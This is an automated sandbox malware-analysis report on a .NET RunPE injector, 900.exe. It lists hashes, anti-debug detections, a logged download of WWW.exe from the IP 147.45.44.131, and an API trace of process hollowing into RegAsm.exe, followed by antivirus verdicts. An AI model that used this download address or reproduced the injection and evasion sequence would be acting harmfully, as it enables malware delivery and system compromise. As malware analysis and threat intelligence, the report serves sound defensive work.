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900.exe

Generic Malware ScreenShot AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Aug. 26, 2024, 9:13 a.m. Aug. 26, 2024, 9:18 a.m.
Size 13.0KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 afa78c01048274af803a0115dcc26757
SHA256 727891c3cbd42c648a50d8c0aedaba64360f9e322319fecaad52c3cbfefeb30b
CRC32 1AF8C7A3
ssdeep 192:glqqChM/KUTOQQDT7hcGFJy/y/y/yuQ7HsIChl9ozK75MqnDkYC9e:SqqChMSUrQvuG6uLChczK75Mqnbm
PDB Path C:\Users\Administrator\Desktop\RunPe-Link — копия\RunPE\obj\Release\RunPE.pdb
Yara
  • PE_Header_Zero - PE File Signature
  • Is_DotNET_EXE - (no description)
  • IsPE32 - (no description)
  • Generic_Malware_Zero - Generic Malware

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
147.45.44.131 Active Moloch

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
pdb_path C:\Users\Administrator\Desktop\RunPe-Link — копия\RunPE\obj\Release\RunPE.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://147.45.44.131/files/WWW.exe
request GET http://147.45.44.131/files/WWW.exe
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 1114112
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005f0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f31000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1712
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f32000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b50000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00cb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00552000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00585000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0058b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00587000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0055c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0055a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00576000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0057a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00577000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0057b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a71000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1712
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a72000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
description Take ScreenShot rule ScreenShot
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
host 147.45.44.131
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2248
region_size: 372736
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000438
1 0 0
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

 information_class: 8 (SystemProcessorPerformanceInformation)
1 0 0
description 900.exe tried to sleep 5456326 seconds, actually delayed analysis time by 5456326 seconds
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PELÚ¹fà Úà–@°@…$Wx`hH@X¤.text `.rdata9+0,@@.dataTö`dD@À.relochH`J¨@B
base_address: 0x00400000
process_identifier: 2248
process_handle: 0x00000438
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2248
process_handle: 0x00000438
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PELÚ¹fà Úà–@°@…$Wx`hH@X¤.text `.rdata9+0,@@.dataTö`dD@À.relochH`J¨@B
base_address: 0x00400000
process_identifier: 2248
process_handle: 0x00000438
1 1 0
Process injection Process 1712 called NtSetContextThread to modify thread in remote process 2248
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4232928
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000434
process_identifier: 2248
1 0 0
Process injection Process 1712 resumed a thread in remote process 2248
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000434
suspend_count: 1
process_identifier: 2248
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x00000194
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x00000340
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x00000374
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x000003ac
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x000003c0
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x000003e8
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x000003fc
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x00000414
suspend_count: 1
process_identifier: 1712
1 0 0

NtResumeThread

 thread_handle: 0x00000428
suspend_count: 1
process_identifier: 1712
1 0 0

CreateProcessInternalW

 thread_identifier: 2252
thread_handle: 0x00000434
process_identifier: 2248
current_directory:
filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
track: 1
command_line:
filepath_r: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000438
1 1 0

NtGetContextThread

 thread_handle: 0x00000434
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2248
region_size: 372736
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000438
1 0 0

WriteProcessMemory

 buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PELÚ¹fà Úà–@°@…$Wx`hH@X¤.text `.rdata9+0,@@.dataTö`dD@À.relochH`J¨@B
base_address: 0x00400000
process_identifier: 2248
process_handle: 0x00000438
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2248
process_handle: 0x00000438
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00443000
process_identifier: 2248
process_handle: 0x00000438
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00446000
process_identifier: 2248
process_handle: 0x00000438
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00456000
process_identifier: 2248
process_handle: 0x00000438
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2248
process_handle: 0x00000438
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4232928
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000434
process_identifier: 2248
1 0 0

NtResumeThread

 thread_handle: 0x00000434
suspend_count: 1
process_identifier: 2248
1 0 0
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Cylance Unsafe
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Cybereason malicious.104827
Arcabit Trojan.MSIL.Krypt.6
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of MSIL/Injector.LOS
Avast Win32:PWSX-gen [Trj]
Kaspersky HEUR:Trojan.Win32.Generic
MicroWorld-eScan Gen:Heur.MSIL.Krypt.6
Rising Trojan.Generic!8.C3 (TFE:dGZlOgyMNaV2EftdEQ)
Emsisoft Gen:Heur.MSIL.Krypt.6 (B)
DrWeb Trojan.InjectNET.17
McAfeeD ti!727891C3CBD4
FireEye Generic.mg.afa78c01048274af
SentinelOne Static AI - Malicious PE
Google Detected
MAX malware (ai score=80)
ZoneAlarm HEUR:Trojan.MSIL.Inject.gen
GData Gen:Heur.MSIL.Krypt.6
Varist W32/MSIL_Troj.C.gen!Eldorado
AhnLab-V3 Trojan/Win.Generic.C5658263
BitDefenderTheta Gen:NN.ZemsilF.36812.am0@aKT1rRh
DeepInstinct MALICIOUS
VBA32 Trojan.MSIL.DiscoStealer.Heur
Malwarebytes Trojan.Crypt.MSIL
Ikarus Trojan.MSIL.Injector
Panda Trj/GdSda.A
huorong Trojan/MSIL.Injector.fx
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/Injector.B!tr
AVG Win32:PWSX-gen [Trj]
CrowdStrike win/malicious_confidence_100% (D)